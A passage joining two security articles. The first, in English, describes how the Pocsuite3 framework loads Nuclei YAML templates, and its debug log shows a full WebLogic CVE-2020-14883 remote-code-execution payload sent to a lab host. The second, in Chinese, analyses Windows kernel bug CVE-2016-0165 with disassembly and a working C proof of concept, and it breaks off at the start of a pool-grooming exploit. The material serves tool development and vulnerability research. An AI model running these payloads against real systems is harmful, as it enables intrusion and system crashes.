(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')
payloads:
cmd:
- id
matchers-condition: and
matchers:
- type: word
part: header
words:
- "ADMINCONSOLESESSION"
- type: word
part: body
words:
- 'uid='
- 'gid='
- 'groups='
condition: and
- type: status
status:
- 200
extractors:
- type: regex
regex:
- "(u|g)id=.*"
# Enhanced by mp on 2022/04/20
This template can be roughly divided into the following parts:
id: str # The template's unique ID, a required field.
info: {k: v} # Vulnerability information fields, including vulnerability name, author, vulnerability severity, vulnerability description, reference connection, score, vulnerability label, etc., are basically optional fields.
variables: {k: v} # Global variable, the value can be a string or an expression, not provided in the template above.
requests: [] # HTTP requests defined (core part)
At the core is the requests section, which stands for defining an HTTP
request. Nuclei supports a variety of protocols. For example, if you want to
define TCP requests, you need to use the network field.
The syntax of requests is as follows, and each element contains
single/multiple HTTP requests, payloads (optional), matching rules, and
decompression rules (optional). In most cases, defining one is sufficient.
requests
# Method 1: raw request
- raw:
- |
GET /index.php HTTP/1.1
- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Accept-Language: en
...
# Method 2: GET, POST, PUT, DELETE request
- method: GET
path:
- "{{BaseURL}}/login.php"
- "{{BaseURL}}/index.php"
headers: {}
# payload combination mode
attack: clusterbomb
# The provided payload is used to request filling
payloads: {}
# Decompression rules are used to extract information from the previous request response for subsequent request filling or result return.
extractors: []
# Match the defined requests after sending them
req-condition: false
# Return when the first match is hit
stop-at-first-match: true
# Logical relationship of matching rules. If it is and, all matching conditions must be true.
matchers-condition: and
# Matching Rules
matchers: []
Two methods are supported for defining http requests: 1. define method, path,
headers, and body respectively; 2. Provide the original http request directly.
The request will contain a dynamic value in the form of `{{variable name or
expression}}`, which needs to be replaced before sending the request. The
variable namespace is provided by the value extracted from variables,
payloads, and extractors, as well as the target url. Dynamic values will also
be included in decompression rules and matching rules.
Extractors have the following types:
1. regex, regular extraction;
2. kval, a key pair, such as extracting the specified response header;
3. JSON, using the syntax of JQ to extract JSON data;
4. xpath, use xpath to extract html response data;
5. DSL, using expression extraction, not commonly used.
The decompression rules of `WebLogic CVE-2020-14883` are defined as follows,
and the execution results of the id command are extracted using regular rules.
extractors:
- type: regex
regex:
- "(u|g)id=.*"
The types of matchers are defined as follows:
1. status, matching the HTTP response status code;
2. size, matching length, such as Conteng-Length;
3. Word, string matching;
4. regex, regular matching;
5. binary, binary data matching;
6. DSL, using complex expressions for matching;
For example:
matchers:
# Performs a string match for the response headers
- type: word
part: header
words:
- "ADMINCONSOLESESSION"
# String matching is performed on the response body, and all substrings should be included.
- type: word
part: body
words:
- 'uid='
- 'gid='
- 'groups='
condition: and
# Match http response status code
- type: status
status:
- 200
Above we have introduced the meaning of each part. In general, the running
process of the engine is as follows:
1. Iterate over all payloads combinations;
2. For each payloads combination, send the defined requests sequentially and obtain the response results (need to replace the dynamic values in the request);
3. Traverse all decompression rules, extract information from the response, merge into the local variable namespace, or use it for result return (controlled by internal variables);
4. If the value of `req-conditio` is true, jump to 2 to continue sending the next request; Extract each part of the response result and save it to the local variable namespace, such as `status_ code_ 1`、`body_ 2`。
5. Traverse the matching rule to get the matching result. If it matches, return it, otherwise continue;
## Pocsuite3 is compatible with some implementation details of nuclei
### How the YAML format PoC is compatible with the original framework
We don't want to change the way Pocsuite3 registers PoC to the framework, so
we have implemented Nuclei as a relatively independent module and provided an
additional method. When the PoC is loaded by the framework, it is found in
YAML format, and will be automatically converted to PoC format of Pocsuite3.
Therefore, there is no difference in the use of YAML PoC and Python PoC
scripts.
class nuclei:
...
def __str__(self):
"""
Convert nuclei template to Pocsuite3
"""
info = []
key_convert = {
'description': 'desc',
'reference': 'references'
}
for k, v in self.json_template['info'].items():
if k in key_convert:
k = key_convert.get(k)
if type(v) in [str]:
v = json.dumps(v.strip())
info.append(f' {k} = {v}')
poc_code = [
'from pocsuite3.api import POCBase, Nuclei, register_poc\n',
'\n',
'\n',
'class TestPOC(POCBase):\n',
'\n'.join(info),
'\n',
' def _verify(self):\n',
' result = {}\n',
' if not self._check(is_http=%s):\n' % (len(self.template.requests) > 0),
' return self.parse_output(result)\n',
" template = '%s'\n" % binascii.hexlify(self.yaml_template.encode()).decode(),
' res = Nuclei(template, self.url).run()\n',
' if res:\n',
' result["VerifyInfo"] = {}\n',
' result["VerifyInfo"]["URL"] = self.url\n',
' result["VerifyInfo"]["Info"] = {}\n',
' result["VerifyInfo"]["Info"]["Severity"] = "%s"\n' % self.template.info.severity.value,
' if not isinstance(res, bool):\n'
' result["VerifyInfo"]["Info"]["Result"] = res\n',
' return self.parse_output(result)\n',
'\n',
'\n',
'register_poc(TestPOC)\n'
]
return ''.join(poc_code)
### How to load a YAML template
Golang can directly deserialize JSON data into structure. It can also do this
in Python 3 using dataclass and date libraries, as well as type checking. In
addition, variables in Python cannot contain horizontal lines, so data needs
to be preprocessed.
@dataclass
class Template:
"""Template is a YAML input file which defines all the requests and other metadata for a template.
"""
id: str = ''
info: Info = field(default_factory=Info)
requests: List[HttpRequest] = field(default_factory=list)
network: List[NetworkRequest] = field(default_factory=list)
stop_at_first_match: bool = True
variables: dict = field(default_factory=dict)
class Nuclei:
def __init__(self, template, target=''):
self.yaml_template = template
try:
self.yaml_template = binascii.unhexlify(self.yaml_template).decode()
except ValueError:
pass
self.json_template = yaml.safe_load(expand_preprocessors(self.yaml_template))
self.template = dacite.from_dict(
Template, hyphen_to_underscore(self.json_template),
config=dacite.Config(cast=[Severify, ExtractorType, MatcherType, HTTPMethod, AttackType, NetworkInputType]))
### DSL expression execution
Most functions of DSL are implemented in Python, which limits the functions
and attributes that can be accessed by expressions, and is finally executed
through eval.
def safe_eval(expression, variables):
if not _check_expression(expression, allowed_variables=list(variables.keys())):
expression = expression.replace(' && ', ' and ').replace(' || ', ' or ')
if not _check_expression(expression, allowed_variables=list(variables.keys())):
raise Exception(f"Invalid expression [{expression}], only a very simple subset of Python is allowed.")
return eval(expression, globals(), variables)
### Using effects
Load the YAML template directly with `-r`, and set the log level through `-v`
to output the details of the template operation, including request and
response, expression execution, decompression rules, and matching rule
operation results.
? ~ pocsuite -r ~/nuclei-templates/cves/2020/CVE-2020-14883.yaml -u http://172.29.157.74:7001 -v 2
,------. ,--. ,--. ,----. {2.0.1-cb758d9}
| .--. ',---. ,---.,---.,--.,--`--,-' '-.,---.'.-. |
| '--' | .-. | .--( .-'| || ,--'-. .-| .-. : .' <
| | --'' '-' \ `--.-' `' '' | | | | \ --/'-' |
`--' `---' `---`----' `----'`--' `--' `----`----' https://pocsuite.org
[*] starting at 18:34:40
[18:34:40] [INFO] loading PoC script '/Users/fenix/nuclei-templates/cves/2020/CVE-2020-14883.yaml'
[18:34:41] [INFO] pocsusite got a total of 1 tasks
[18:34:41] [DEBUG] pocsuite will open 1 threads
[18:34:41] [INFO] running poc:'Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution' target 'http://172.29.157.74:7001'
[18:34:52] [DEBUG] < POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
< Host: 172.29.157.74:7001
< User-Agent: Mozilla/5.0 (compatible; MSIE 5.0; Windows NT 6.0; Trident/4.0)
< Accept-Encoding: gzip, deflate
< Accept: */*
< Connection: keep-alive
< Accept-Language: en
< CMD: id
< Content-Type: application/x-www-form-urlencoded
< Content-Length: 1166
<
< test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("CMD");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')
> HTTP/1.1 200 OK
> Date: Wed, 09 Nov 2022 02:34:52 GMT
> Transfer-Encoding: chunked
> Content-Type: text/html; charset=UTF-8
> Set-Cookie: ADMINCONSOLESESSION=hpNaPYWzVQlWjXS0qq3B6CBq43oDb1kLXFpPZS6iOBlsVxfbRC-2!-1601473325; path=/console/; HttpOnly
>
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
[18:34:52] [DEBUG] [+] Extractor(name='', type=<ExtractorType.RegexExtractor: 'regex'>, regex=['(u|g)id=.*'], group=0, kval=[], json=[], xpath=[], attribute='', dsl=[], part='', internal=False, case_insensitive=False) -> {'internal': {}, 'external': {}, 'extra_info': ['uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)']}
[18:34:52] [DEBUG] [+] Matcher(type=<MatcherType.WordsMatcher: 'word'>, condition='or', part='header', negative=False, name='', status=[], size=[], words=['ADMINCONSOLESESSION'], regex=[], binary=[], dsl=[], encoding='', case_insensitive=False, match_all=False) -> True
[18:34:52] [DEBUG] [+] Matcher(type=<MatcherType.WordsMatcher: 'word'>, condition='and', part='body', negative=False, name='', status=[], size=[], words=['uid=', 'gid=', 'groups='], regex=[], binary=[], dsl=[], encoding='', case_insensitive=False, match_all=False) -> True
[18:34:52] [DEBUG] [+] Matcher(type=<MatcherType.StatusMatcher: 'status'>, condition='or', part='body', negative=False, name='', status=[200], size=[], words=[], regex=[], binary=[], dsl=[], encoding='', case_insensitive=False, match_all=False) -> True
[18:34:52] [+] URL : http://172.29.157.74:7001
[18:34:52] [+] Info : {'Severity': 'high', 'Result': [{'cmd': 'id', 'extra_info': ['uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)']}]}
[18:34:52] [INFO] Scan completed,ready to print
+---------------------------+-----------------------------------------------------------------------------------------+--------+-----------+---------+---------+
| target-url | poc-name | poc-id | component | version | status |
+---------------------------+-----------------------------------------------------------------------------------------+--------+-----------+---------+---------+
| http://172.29.157.74:7001 | Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution | 0 | | | success |
+---------------------------+-----------------------------------------------------------------------------------------+--------+-----------+---------+---------+
success : 1 / 1
[*] shutting down at 18:34:52
Attached: Demo video.
## Conclusion
The current implementation can cover most HTTP and Network templates, and some
special features of Nuclei such as Workflows, conditional race requests, and
request comments, are not supported temporarily. The latest version has been
pushed to PyPI, Homebrew repository, Dockerhub, Archlinux, etc. After this
large version is stable, it will continue to be pushed to Debian, Kali, and
Ubuntu. If you find any problems in use, please submit an Issue or contribute
code.
## Reference
【1】: Pocsuite3 framework
<https://pocsuite.org>
【2】: Nuclei framework
<https://nuclei.projectdiscovery.io>
【3】: nuclei-templates project
<https://github.com/projectdiscovery/nuclei-templates>
【4】: YAML language tutorial
<https://www.ruanyifeng.com/blog/2016/07/yaml.html>
* * * | 社区文章 |
CVE-2016-0165 是一个典型的整数上溢漏洞，由于在 `win32k!RGNMEMOBJ::vCreate`
函数中分配内核池内存块前没有对计算的内存块大小参数进行溢出校验，导致函数有分配到远小于所期望大小的内存块的可能性。而函数本身并未对分配的内存块大小进行必要的校验，在后续通过该内存块作为缓冲区存储数据时，将会触发缓冲区溢出访问的
OOB 问题，严重情况将导致系统 BSOD 的发生。
# 配置漏洞触发环境
[+] win7 x86 sp1
[+] windbg preview 1.0.2001.02001
# 漏洞原理
## 定位漏洞
通过Bindiff可以看出，在`RGNMEMOBJ::vCreate`函数中，当调用`ExAllocatePoolWithTag`函数分配内存之前，增加了对`ULongAdd`函数和`ULongLongToULong`函数的调用。这两个函数在运算时如果发现运算数值超过了`ULONG`整数的范围就会返回`ERROR_ARITHMETIC_OVERFLOW`错误码，所以这两个函数通常用来防止发生整数溢出，在这里，这两个函数用来防止`ExAllocatePoolWithTag`函数的参数`NumberOfBytes`的整数溢出。
接着我们追踪一下这个参数`NumberOfBytes`到底是从哪里来，到哪里去，方便我们更加深入的了解这个漏洞。
.text:BF876200 ; --------------------------------------------------------------------------- .text:BF876200
.text:BF876200 loc_BF876200: ; CODE XREF: RGNMEMOBJ::vCreate(EPATHOBJ &,ulong,_RECTL *)+A0↑j
.text:BF876200 lea eax, [ebp+NumberOfBytes]
.text:BF876203 push eax ; unsigned int *
.text:BF876204 xor edi, edi
.text:BF876206 inc edi
.text:BF876207 push edi ; unsigned int
.text:BF876208 push [ebp+NumberOfBytes] ; unsigned int
.text:BF87620B call ?ULongAdd@@YGJKKPAK@Z ; [ebp+NumberOfBytes] = [ebp+NumberOfBytes] + 1
.text:BF876210 test eax, eax
.text:BF876212 jl loc_BF8763D2
.text:BF876218 mov eax, [ebp+NumberOfBytes] ; eax为被乘数
.text:BF87621B push 28h
.text:BF87621D pop ecx ; ecx为乘数
.text:BF87621E mul ecx ; mul reg32 的答案保存在edx:eax之中
.text:BF876220 lea ecx, [ebp+NumberOfBytes]
.text:BF876223 push ecx ; unsigned int *
.text:BF876224 push edx
.text:BF876225 push eax ; 结果保存在[ebp+NumberOfBytes]中
.text:BF876226 call _ULongLongToULong@12 ; ULongLongToULong(x,x,x)
.text:BF87622B test eax, eax
.text:BF87622D jl loc_BF8763D2
.text:BF876233 cmp [ebp+NumberOfBytes], 0
.text:BF876237 jz short loc_BF87624E
.text:BF876239 push 67646547h ; Tag
.text:BF87623E push [ebp+NumberOfBytes] ; NumberOfBytes
.text:BF876241 push 21h ; PoolType
.text:BF876243 call ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)
.text:BF876249 mov [ebp+P], eax
.text:BF87624C jmp short loc_BF876252
.text:BF87624E ; ---------------------------------------------------------------------------
这段代码配合注释应该很容易看明白，参数NumberOfBytes在传入函数`ExAllocatePoolWithTag`之前，经历了如下的运算过程：
[ebp+NumberOfBytes] = ([ebp+NumberOfBytes] + 1) * 0x28
即函数`ExAllocatePoolWithTag`申请的内存大小为(x + 1) *
0x28，对x往前追溯可以发现x来自于函数`ExAllocatePoolWithTag`的第二个参数`EPATHOBJ+4`偏移地址的域
.text:BF87615C mov esi, [ebp+arg_0]
(省略无关内容)
.text:BF876189 mov eax, [esi+4]
.text:BF87618C mov [ebp+NumberOfBytes], eax
在MSDN可以找到`PATHOBJ`的结构
typedef struct _PATHOBJ {
FLONG fl;
ULONG cCurves;
} PATHOBJ;
+4偏移地址是被定义为`ULONG cCurves`的成员变量
cCurves
The number of lines and Bezier curves that make up the path.
该变量表示当前`PATHOBJ`对象的曲线数目。也就是说`(曲线数目 + 1) *
0x28`可以造成整数溢出，使得分配一个远小于目标大小的内存。这里可以看看未修补的素人版本，功能是一致的：
.text:BF873FEA ; --------------------------------------------------------------------------- .text:BF873FEA
.text:BF873FEA loc_BF873FEA: ; CODE XREF: RGNMEMOBJ::vCreate(EPATHOBJ &,ulong,_RECTL *)+A2↑j
.text:BF873FEA lea eax, [ecx+1] ; ULONG cCurves
.text:BF873FED imul eax, 28h
.text:BF873FF0 test eax, eax
.text:BF873FF2 jz short loc_BF87400A
.text:BF873FF4 push 6E677247h ; Tag
.text:BF873FF9 push eax ; NumberOfBytes
.text:BF873FFA push 21h ; PoolType
.text:BF873FFC call ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)
.text:BF874002 mov edx, [ebp+arg_8]
.text:BF874005 mov [ebp+P], eax
.text:BF874008 jmp short loc_BF87400E
.text:BF87400A ; ---------------------------------------------------------------------------
接着往后跟进，查看一下申请出来的这块内存会被如何使用
.text:BF8740D4 loc_BF8740D4: ; CODE XREF: RGNMEMOBJ::vCreate(EPATHOBJ &,ulong,_RECTL *)+18C↑j
.text:BF8740D4 push [ebp+arg_8] ; struct _RECTL *
.text:BF8740D7 mov [eax+10h], esi
.text:BF8740DA mov eax, [ebx]
.text:BF8740DC push [ebp+P] ; struct EDGE * ; [ebp+P]保存的就是ExAllocatePoolWithTag申请的内存
.text:BF8740DF mov dword ptr [eax+30h], 48h
.text:BF8740E6 mov eax, [ebx]
.text:BF8740E8 mov [eax+18h], ecx
.text:BF8740EB mov eax, [ebx]
.text:BF8740ED mov [eax+14h], ecx
.text:BF8740F0 mov eax, [ebx]
.text:BF8740F2 mov [eax+34h], ecx
.text:BF8740F5 mov eax, [ebx]
.text:BF8740F7 lea ecx, [eax+48h]
.text:BF8740FA mov [eax+1Ch], ecx
.text:BF8740FD mov eax, [ebx]
.text:BF8740FF add eax, 20h
.text:BF874102 mov [eax+4], eax
.text:BF874105 mov [eax], eax
.text:BF874107 lea eax, [ebp+var_68]
.text:BF87410A push eax ; struct EDGE *
.text:BF87410B push [ebp+arg_0] ; struct EPATHOBJ *
.text:BF87410E call ?vConstructGET@@YGXAAVEPATHOBJ@@PAVEDGE@@1PAU_RECTL@@@Z ; vConstructGET(EPATHOBJ &,EDGE *,EDGE *,_RECTL *)
函数`ExAllocatePoolWithTag`申请的内存被当作函数`vConstructGET`的第三个参数，作为`struct EDGE
*`类型的指针参数传入的。关于EDGE是什么东西，我们可以在windows的源码中找到
class EDGE
{
public:
PEDGE pNext;
LONG lScansLeft;
LONG X;
LONG Y;
LONG lErrorTerm;
LONG lErrorAdjustUp;
LONG lErrorAdjustDown;
LONG lXWhole;
LONG lXDirection;
LONG lWindingDirection;
};
这个结构用来描述将要填充的路径中的单个非水平边。在我们的实验环境中，该结构的大小为40，即0x28。看看函数`vConstructGET`干了些什么。
VOID vConstructGET(EPATHOBJ& po, EDGE *pGETHead, EDGE *pFreeEdges,RECTL *pBound)
{
// Create an empty GET with the head node also a tail sentinel
pGETHead->pNext = pGETHead; // mark that the GET is empty
pGETHead->Y = 0x7FFFFFFF; // this is greater than any valid Y value, so
// searches will always terminate
PPATH ppath = po.ppath;
for (PATHRECORD *ppr = ppath->pprfirst;
ppr != (PPATHREC) NULL;
ppr = ppr->pprnext)
{
// If first point starts a subpath, remember it as such
// and go on to the next point, so we can get an edge.
PPOINTFIX pptfxStart, pptfxEnd, pptfxPrev, pptfx;
pptfx = ppr->aptfx;
if (ppr->flags & PD_BEGINSUBPATH)
{
pptfxStart = ppr->aptfx; // the subpath starts here
pptfxPrev = ppr->aptfx; // this points starts next edge
pptfx++; // advance to the next point
}
// Add edges in PATH to GET, in Y-X sorted order.
pptfxEnd = ppr->aptfx + ppr->count;
while (pptfx < pptfxEnd)
{
pFreeEdges =
AddEdgeToGET(pGETHead, pFreeEdges,pptfxPrev,pptfx,pBound);
pptfxPrev = pptfx;
pptfx++; // advance to the next point
}
// If last point ends the subpath, insert the edge that
// connects to first point.
if (ppr->flags & PD_ENDSUBPATH)
{
pFreeEdges =
AddEdgeToGET(pGETHead, pFreeEdges,pptfxPrev, pptfxStart,pBound);
}
}
}
函数`ExAllocatePoolWithTag`申请的内存pFreeEdges又一次被当作参数传入函数`vConstructGET`，函数`vConstructGET`循环调用函数`AddEdgeToGET`来将两个点描述的边加入到GET表中，并将数据写入pFreeEdges参数指向的EDGE结构体，最后将下一个EDGE元素地址作为返回值返回。
pFreeEdge->pNext = pGETHead->pNext; // link the edge into the GET
pGETHead->pNext = pFreeEdge;
return(++pFreeEdge);
由于函数`ExAllocatePoolWithTag`申请的内存大小发生了整数溢出，导致这块内存的大小远小于我们的预期，之后进行大量写入操作的时候，将会造成OOB覆盖其他内容，从而导致系统BSOD的触发。
## 触发路径
* `NtPathToRegion`函数
win32k中的很多函数都会调用`RGNMEMOBJ::vCreate`函数，再从中选取一个可以控制申请内存大小的函数来抵达漏洞，这里我们选择`NtPathToRegion`函数：
DCOBJ::DCOBJ((DCOBJ *)&v9, a1);
......
XEPATHOBJ::XEPATHOBJ((XEPATHOBJ *)&v7, (struct XDCOBJ *)&v9);
if ( v8 )
{
v4 = *(_BYTE *)(*(_DWORD *)(v9 + 56) + 58);
v11 = 0;
RGNMEMOBJ::vCreate((RGNMEMOBJ *)&v10, (struct EPATHOBJ *)&v7, v4, 0);
if ( v10 )
{
v5 = HmgInsertObject(v10, 0, 4);
if ( !v5 )
RGNOBJ::vDeleteRGNOBJ((RGNOBJ *)&v10);
}
else
{
v5 = 0;
}
......
> 该函数用于根据被选择在 `DC` 对象中的路径 `PATH` 对象创建区域 `REGION` 对象，生成的区域将使用设备坐标，唯一的参数 `HDC
> a1` 是指向某个设备上下文 `DC` 对象的句柄。由于区域的转换需要闭合的图形，所以在函数中执行转换之前，函数会将 `PATH`
> 中所有未闭合的图形闭合。在成功执行从路径到区域的转换操作之后，系统将释放目标 `DC` 对象中的闭合路径。另外该函数可在用户态进程中通过
> `gdi32.dll` 中的导出函数在用户进程中进行直接调用，这给路径追踪带来便利。
`XEPATHOBJ v7`被作为第二个参数传递给`RGNMEMOBJ::vCreate`函数，`XEPATHOBJ
v7`早已经在自身的`XEPATHOBJ::XEPATHOBJ`构造函数中依据用户对象`DCOBJ v9`进行初始化，而`DCOBJ
v9`也早在`DCOBJ::DCOBJ`构造函数中依据`NtPathToRegion`函数的唯一参数`HDC a1`进行了初始化。
DCOBJ *__thiscall DCOBJ::DCOBJ(DCOBJ *this, HDC a2)
{
DCOBJ *v2; // esi
v2 = this;
*(_DWORD *)this = 0;
*((_DWORD *)this + 1) = 0;
*((_DWORD *)this + 2) = 0;
XDCOBJ::vLock(this, a2);
return v2;
}
出乎意料，这个函数的构造其实很简单，根据句柄参数 `HDC a2` 获取该句柄指向的设备上下文 `DC` 对象指针并存储在 `this` 的第 1
个成员变量中（即 `PDC pdc` 成员），以使当前 `DCOBJ` 对象成为目标 `DC` 对象的用户对象。
* `XEPATHOBJ::XEPATHOBJ`构造函数
XEPATHOBJ::XEPATHOBJ(HPATH hPath)
{
ppath = (PPATH)HmgShareLock((HOBJ) hPath, PATH_TYPE);
if (ppath != (PATH*) NULL)
{
// Load up accelerator values:
cCurves = ppath->cCurves;
fl = ppath->fl;
}
return;
}
此函数首先调用`HmgShareLock`函数并传入`hPath`句柄和`PATH_TYPE`类型对句柄指向的`PATH`对象增加共享计数并返回对象指针，以使当前
`XEPATHOBJ` 对象成为目标 `PATH` 对象的用户对象。之后对`cCurves`赋值，没错，就是前面那个导致了溢出的`cCurves`。
至此，我们揪出了`cCurves`的来源，就是参数`HDC a1`句柄控制的，也就是说，我们只要控制了`HDC a1`句柄，就可以在
`ExAllocatePoolWithTag` 函数进行任意大小的的内存分配。
## 漏洞触发
* `PolylineTo` 函数
虽然刚刚大言不惭的说了要控制`HDC a1`句柄，但也没那么简单，我们要考虑具体如何操作。这里我们使用`PolylineTo` 函数，该函数用于向 `HDC
hdc` 句柄指向的 `DC` 对象中绘制一条或多条直线：
BOOL __stdcall PolylineTo(HDC hdc, const POINT *apt, DWORD cpt)
{
......
return NtGdiPolyPolyDraw(hdc, apt, &cpt, 1, 4);
}
* `NtGdiPolyPolyDraw`函数
`PolylineTo` 函数最终调用`NtGdiPolyPolyDraw`系统调用：
> 函数 `NtGdiPolyPolyDraw` 用于绘制一个或多个多边形、折线，也可以绘制由一条或多条直线段、贝塞尔曲线段组成的折线等；其第 4 个参数
> `ccpt` 用于在绘制一系列的多边形或折线时指定多边形或折线的个数，如果绘制的是线条（不管是直线还是贝塞尔曲线）该值都需要设置为 `1`；第 5
> 个参数 `iFunc` 用于指定绘制图形类型，设置为 `4` 表示绘制直线。
cpt = 0;
for ( i = 0; ; ++i )
{
v13 = cpt;
if ( i >= ccpt )
break;
cpt += *(Dst + i);
}
if ( cpt > 0x4E2000 )
goto LABEL_56;
`NtGdiPolyPolyDraw`函数规定了调用时的线条总数目，不能大于 `0x4E2000`，否则直接返回失败。
switch ( iFunc )
{
case 1:
v11 = GrePolyPolygon(hdc, v7, Dst, ccpt, cpt);
break;
case 2:
v11 = GrePolyPolyline(hdc, v7, Dst, ccpt, cpt);
break;
case 3:
v11 = GrePolyBezier(hdc, v7, ulCount);
break;
case 4:
v11 = GrePolylineTo(hdc, v7, ulCount);
break;
case 5:
v11 = GrePolyBezierTo(hdc, v7, ulCount);
break;
case 6:
v11 = GreCreatePolyPolygonRgnInternal(v7, Dst, ccpt, hdc, cpt);
break;
default:
v18 = 0;
goto LABEL_47;
根据参数`iFunc`的值进入不同的绘制例程。在`PolylineTo` 函数中，`iFunc`的值为4，那么将会调用`GrePolylineTo`
函数，传入 `GrePolylineTo` 函数的第 3 个参数 `ulCount` 是稍早时赋值的本次需要绘制线条的数目，数值来源于从
`PolylineTo` 函数传入的 `cpt` 变量。
* `GrePolylineTo` 函数
DCOBJ::DCOBJ(&v12, a1);
......
EXFORMOBJ::vQuickInit(&v11, &v12, 0x204u);
v8 = 1;
PATHSTACKOBJ::PATHSTACKOBJ(&v13, &v12, 1);
if ( !v14 )
{
EngSetLastError(8);
LABEL_12:
PATHSTACKOBJ::~PATHSTACKOBJ(&v13);
v6 = 0;
goto LABEL_9;
}
if ( !EPATHOBJ::bPolyLineTo(&v13, &v11, a2, ulCount) )
goto LABEL_12;
v9 = EPATHOBJ::ptfxGetCurrent(&v13, &v10);
DC::vCurrentPosition(v12, &a2[a3 - 1], v9);
`GrePolylineTo` 函数首先根据 `HDC a1` 参数初始化 `DCOBJ v12` 用户对象，接下来定义了 `PATHSTACKOBJ
v13` 用户对象。函数中调用 `PATHSTACKOBJ::PATHSTACKOBJ` 构造函数对 `v13`
对象进行初始化，并在初始化成功后调用成员函数 `EPATHOBJ::bPolyLineTo` 执行绘制操作。
* `EPATHOBJ::bPolyLineTo` 函数
int __thiscall EPATHOBJ::bPolyLineTo(EPATHOBJ *this, struct EXFORMOBJ *a2, struct _POINTL *a3, unsigned int ulCount)
{
EPATHOBJ *v4; // esi
int result; // eax
int v6; // [esp+4h] [ebp-Ch]
unsigned int v7; // [esp+8h] [ebp-8h]
struct _POINTL *v8; // [esp+Ch] [ebp-4h]
v4 = this;
if ( !*(this + 2) )
return 0;
v6 = 0;
v8 = a3;
v7 = ulCount;
result = EPATHOBJ::addpoints(this, a2, &v6);
if ( result )
*(v4 + 1) += ulCount;
return result;
}
`EPATHOBJ::bPolyLineTo` 执行具体的从 `DC` 对象的当前位置点到指定点的画线操作，通过调用
`EPATHOBJ::addpoints` 执行将目标的点添加到路径中的具体操作。执行成功后，将参数 `ulCount` 的值增加到成员变量
`cCurves` 中。
现在我们知道控制`PolylineTo(HDC hdc, const POINT *apt, DWORD cpt)`的`cpt`变量就可以在
`ExAllocatePoolWithTag` 函数进行任意大小的的内存分配，但离完整的poc还有点距离，接着构造poc。
## poc构造
因为是32位系统，所以ULONG的值最大为0xFFFFFFFF，而发生溢出时的参数为`NumberOfBytes = 0x28 * (v6 +
1)`，所以我们需要构造`0x28 * (v6 + 1)>0xFFFFFFFF`来实现整数溢出，解不等式可得`v6 > 0x6666665`
。但是`cCurves`在`RGNMEMOBJ::vCreate` 函数的开始位置调用的 `EPATHOBJ::vCloseAllFigure`
成员函数中会被修改，具体代码如下：
VOID EPATHOBJ::vCloseAllFigures()
{
PPATHREC ppr = ppath->pprfirst;
while (ppr != (PPATHREC) NULL)
{
if (ppr->flags & PD_ENDSUBPATH)
{
if (!(ppr->flags & PD_CLOSEFIGURE))
{
ppr->flags |= PD_CLOSEFIGURE;
cCurves++;
}
}
ppr = ppr->pprnext;
}
}
此函数遍历`PPATHREC`列表，并将所有未处于闭合状态的记录项设置为闭合状态，即将末尾的坐标点和起始的坐标点进行连接，所以会使得`cCurves`的值增加1。也就是说，我们只要达成`v6
>
0x6666664`就可以造成整数溢出了。但是`NtGdiPolyPolyDraw`系统调用绘制的数量不能超过0x4E2000，否则就会直接返回失败，所以我们需要多次调用来达到溢出。完整代码如下：
#include <Windows.h>
#include <wingdi.h>
#include <iostream>
CONST LONG maxCount = 0x6666665;
CONST LONG maxLimit = 0x4E2000;
static POINT point[maxCount] = { 0 };
int main(int argc, char* argv[])
{
BOOL ret = FALSE;
for (LONG i = 0; i < maxCount; i++)
{
point[i].x = i + 1;
point[i].y = i + 2;
}
HDC hdc = GetDC(NULL); // get dc of desktop hwnd
BeginPath(hdc); // activate the path
for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))
{
ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));
}
EndPath(hdc); // deactivate the path
HRGN hRgn = PathToRegion(hdc);
return 0;
}
虽然我们预想的很好，但是触发BSOD的几率非常低，因为覆盖后续内存的操作本身不会出错，错误其实是发生在后续释放或取内存的时候，而我们又不能保证后续内存存储的是什么东西，所以触发全靠运气，我在本地试了好多次都没有触发，不过可以借助Windbg来查看，确实是分配了一块0x18大小的内存。
# 漏洞利用
## 内核内存布局
虽然我们的poc触发成功率不高，但它确实破坏了后续堆块的`POOL_HEADER`结构，导致释放内存块时校验`POOL_HEADER`结构，从而触发BSOD。但如果我们提前进行堆布局，使得`RGNMEMOBJ::vCreate`函数分配的内存位于所在内存页的末尾，那么在释放的时候就不会对相邻内存块进行校验，这样虽然依旧进行了OOB，但并不会触发崩溃。
#include <Windows.h>
#include <wingdi.h>
#include <iostream>
CONST LONG maxCount = 0x6666667;
CONST LONG maxLimit = 0x4E2000;
static POINT point[maxCount] = { 0 };
CONST LONG maxTimes = 5000;
CONST LONG tmpTimes = 7000;
static HBITMAP hbitmap[maxTimes] = { NULL };
static HACCEL hacctab[tmpTimes] = { NULL };
int main(int argc, char* argv[])
{
for (LONG i = 0; i < 5000; i++)
{
